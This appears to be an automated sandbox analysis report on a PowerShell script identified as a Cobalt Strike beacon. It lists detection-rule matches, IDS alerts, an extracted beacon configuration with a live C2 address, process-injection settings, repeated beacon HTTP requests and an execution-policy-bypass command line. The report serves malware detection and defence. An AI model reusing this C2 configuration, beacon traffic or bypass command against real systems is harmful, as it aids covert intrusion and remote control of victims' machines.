0.2.powershell.exe.22ef9b10000.0.unpack	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x17d6a:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75 0x1909b:$beacon_loader_x64: 25 FF FF FF 00 3D 41 41 41 00 75 1A 8B 44 24 78 25 FF FF FF 00 3D 42 42 42 00 75
0.2.powershell.exe.22ef9b10000.0.unpack	CobaltStrike_Unmodifed_Beacon	Detects unmodified CobaltStrike beacon DLL	yara@s3c.za.net	0x3e7f1:$loader_export: ReflectiveLoader 0x30360:$exportname: beacon.dll
0.2.powershell.exe.22ef9b10000.0.unpack	WiltedTulip_ReflectiveLoader	Detects reflective loader (Cobalt Strike) used in Operation Wilted Tulip	Florian Roth	0x303a3:$x6: %s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%x%x.%s
Click to see the 40 entries

Other

Source	Rule	Description	Author	Strings
amsi64_1900.amsi.csv	JoeSecurity_MetasploitPayload_1	Yara detected MetasploitPayload	Joe Security
amsi64_1900.amsi.csv	Msfpayloads_msf_ref	Metasploit Payloads - file msf-ref.ps1	Florian Roth	0xe5:$s2: = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\') 0x617:$s4: .DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', 0x70a:$s5: = [System.Convert]::FromBase64String( 0x367:$s6: [Parameter(Position = 0, Mandatory = $True)] [Type[]] 0x55f:$s7: DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard,

Sigma Signatures

System Summary

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", ProcessId: 1900, ProcessName: powershell.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 3.78.244.11, DestinationIsIpv6: false, DestinationPort: 8080, EventID: 3, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, Initiated: true, ProcessId: 1900, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49730

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\3.ps1", ProcessId: 1900, ProcessName: powershell.exe

Suricata Signatures

ET MALWARE Cobalt Strike Beacon Observed

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T19:57:52.370990+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50013	3.78.244.11	8080	TCP
2024-11-25T19:58:04.324931+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49730	3.78.244.11	8080	TCP
2024-11-25T19:58:26.502407+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49731	3.78.244.11	8080	TCP
2024-11-25T19:58:48.674634+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49738	3.78.244.11	8080	TCP
2024-11-25T19:59:10.821761+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49739	3.78.244.11	8080	TCP
2024-11-25T19:59:33.097220+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49767	3.78.244.11	8080	TCP
2024-11-25T19:59:55.285301+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49816	3.78.244.11	8080	TCP
2024-11-25T20:00:17.416993+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49864	3.78.244.11	8080	TCP
2024-11-25T20:00:39.636064+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49915	3.78.244.11	8080	TCP
2024-11-25T20:01:01.824176+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	49963	3.78.244.11	8080	TCP
2024-11-25T20:01:23.980870+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50011	3.78.244.11	8080	TCP
2024-11-25T20:01:46.137579+0100	2033713	1	Targeted Malicious Activity was Detected	192.168.2.4	50012	3.78.244.11	8080	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: 3.ps1

Avira: detected

Found malware configuration

Source: 00000000.00000002.4114351286.0000022EF1AEF000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 8080, "SleepTime": 60000, "MaxGetSize": 1048576, "Jitter": 0, "C2Server": "3.78.244.11,/dot.gif", "HttpPostUri": "/submit.php", "Malleable_C2_Instructions": [], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%windir%\\syswow64\\rundll32.exe", "Spawnto_x64": "%windir%\\sysnative\\rundll32.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 987654321, "bStageCleanup": "False", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "True", "bProcInject_UseRWX": "True", "bProcInject_MinAllocSize": 0, "ProcInject_PrependAppend_x86": "Empty", "ProcInject_PrependAppend_x64": "Empty", "ProcInject_Execute": ["CreateThread", "SetThreadContext", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: 3.ps1

ReversingLabs: Detection: 73%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 92.5% probability

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0B1184 CryptAcquireContextA,CryptAcquireContextA,CryptGenRandom,CryptReleaseContext,		0_2_0000022EFA0B1184
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0E2020 CryptGenRandom,		0_2_0000022EFA0E2020

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C1C30 malloc,GetCurrentDirectoryA,FindFirstFileA,GetLastError,free,free,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_0000022EFA0C1C30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 0_2_0000022EFA0C9220 malloc,_snprintf,FindFirstFileA,free,malloc,_snprintf,free,FindNextFileA,FindClose,		0_2_0000022EFA0C9220

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49731 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49730 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49738 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49739 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49816 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49864 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49915 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49963 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50011 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:49767 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50012 -> 3.78.244.11:8080
Source: Network traffic	Suricata IDS: 2033713 - Severity 1 - ET MALWARE Cobalt Strike Beacon Observed : 192.168.2.4:50013 -> 3.78.244.11:8080

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 3.78.244.11

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 3.78.244.11:8080

Source: Joe Sandbox View

ASN Name: AMAZON-02US AMAZON-02US

Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 3.78.244.11

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 0_2_0000022EFA0BE68C _snprintf,_snprintf,_snprintf,HttpOpenRequestA,HttpSendRequestA,InternetQueryDataAvailable,InternetCloseHandle,InternetReadFile,InternetCloseHandle,

0_2_0000022EFA0BE68C

Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /dot.gif HTTP/1.1Accept: /Cookie: f757jzSoq0sKQ3fJ6KZmji18Q4ILsd26Gs7NrAj2OqsVVHu2Mmk+klzXHpGIocQZmk6FOZ8/+LaMILyJw2B3YcqbA13cv5YKyeS0Ax1UIPwuT3i/j9xdfYOMpIcp0FV6jdwC7/LKBDN2RLSKy+3jSaHwRduSBiQHuQTdwNqMpAw=User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Host: 3.78.244.11:8080Connection: Keep-AliveCache-Control: no-cache

Source: powershell.exe, 00000000.00000002.4120573142.0000022EF9B10000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:%u/
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif1
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif11:8080/dot.gif
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif2
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF99F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gif9.0
Source: powershell.exe, 00000000.00000002.4119501587.0000022EF9A86000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://3.78.244.11:8080/dot.gifD
